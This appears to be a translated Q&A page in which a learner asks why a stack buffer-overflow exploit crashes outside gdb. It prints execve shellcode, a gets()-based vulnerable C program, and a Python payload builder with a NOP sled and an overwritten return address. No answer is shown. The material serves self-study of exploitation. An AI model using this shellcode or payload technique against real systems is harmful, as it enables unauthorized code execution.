c - 为什么shellcode会出现分段错误?
问题描述
我是缓冲区溢出攻击的新手。
我从http://shell-storm.org/shellcode/files/shellcode-76.php复制 shellcode
我编写了 ac 脚本来测试 shellcode。
它看起来像这样:
char * shellcode = "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57 \x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05";
int main(){
void (*f) ()= (void(*)())shellcode;
(*f)();
return 0;
}
它运作良好。它可以生成一个外壳。但是当我编写另一个 c 脚本“tS.c”来测试 shellcode 时,我遇到了分段错误。
我的 c 脚本如下所示:
void hello(){
char s[144];
gets(s);
printf("%s\n", s);
}
int main(){
hello();
return 0;
}
我使用 python 脚本“sc.py”来生成我的有效负载。
它看起来像:
s_storm = "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
attack = s_storm
size = len(attack)
nops = '\x90'*(144 - size)
retAddr = 0x7fffffffde14
ex = nops + attack + '\x00'*8 + p64(retAddr)
print ex
有效载荷在 gdb 中工作,它可以成功生成一个 shell。所以我不知道我在哪里做错了。
我通过以下方式编译了我的 c 脚本:
gcc tS.c -o ts -z execstack -fno-stack-protector -no-pie
我还关闭了 Linux 中的 aslr。我尝试了不同的方法将有效负载提供给进程:
(python sc.py; cat)| ./ts
./ts <exploit
我使用的是 Ubuntu64,我的 Linux 版本是 5.0.0-37-generic。
有人可以告诉我我哪里做错了,或者给我一些关于我应该读什么的建议吗?
解决方案
推荐阅读
- c++ - 给定具有特定矩形格式的顶点表,如何找到所有相邻顶点?
- css - 如何在 sass 中使用 map-deep-get
- python - 当维度可变时,在 n 维 Numpy 数组中引用元素
- firebase - 识别已在本地保存但未在 Firestore 中同步的数据
- javascript - 当我尝试运行节点 js 文件时,出现 ReferenceError: XMLHttpRequest is not defined
- android - 如何在 Android 中使用 androidx.activity.result.contract.ActivityResultContract$SynchronousResult?
- python - 我怎样才能像这个例子一样打印这些行?
- ios - 快速使用 UIDocumentPickerViewController(documentTypes:)
- python - 数组中复数的大小
- azure - Azure Blob 更改源缺少 blob 追加事件